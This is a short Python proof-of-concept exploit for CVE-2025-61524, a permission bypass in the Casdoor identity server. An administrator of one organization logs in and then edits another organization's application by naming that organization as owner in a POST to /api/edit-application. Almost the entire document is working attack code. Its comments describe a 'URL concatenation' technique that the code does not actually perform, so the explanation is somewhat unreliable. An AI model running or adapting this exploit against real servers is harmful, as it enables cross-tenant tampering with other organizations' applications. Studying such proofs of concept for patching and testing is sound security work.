# CVE-2025-61524 PoC - Casdoor Permission Verification Bypass # This PoC demonstrates the URL concatenation attack to bypass permission verification import requests # Target Casdoor server TARGET_URL = "http://target-casdoor-server:8000" # Step 1: Login as an authenticated administrator of any organization def login(username, password, org_name): session = requests.Session() login_url = f"{TARGET_URL}/api/login" login_data = { "username": username, "password": password, "organization": org_name } response = session.post(login_url, json=login_data) if response.status_code == 200: # Extract authentication token from response token = response.json().get("data", {}).get("token") if token: session.headers.update({"Authorization": f"Bearer {token}"}) return session # Step 2: Bypass permission verification by URL concatenation def exploit_permission_bypass(session, target_org, target_app): # The vulnerability allows accessing other organizations' resources # by concatenating the target organization/application in the URL bypass_url = f"{TARGET_URL}/api/edit-application" # Directly access another organization's application edit interface payload = { "owner": target_org, # Target organization (not the attacker's org) "name": target_app, # Target application name "displayName": "Modified by Attacker", # ... other malicious modifications } response = session.post(bypass_url, json=payload) return response # Step 3: Execute the attack if __name__ == "__main__": # Login as admin of organization A session = login("attacker_admin", "password123", "organization-a") # Bypass permission check to modify organization B's application result = exploit_permission_bypass(session, "organization-b", "target-app") if result.status_code == 200: print("[+] Permission bypass successful!") print("[+] Successfully modified target organization's application") else: print("[-] Exploit failed") # Note: This PoC is for educational and authorized testing purposes only. # The vulnerability is fixed in Casdoor v2.63.0.
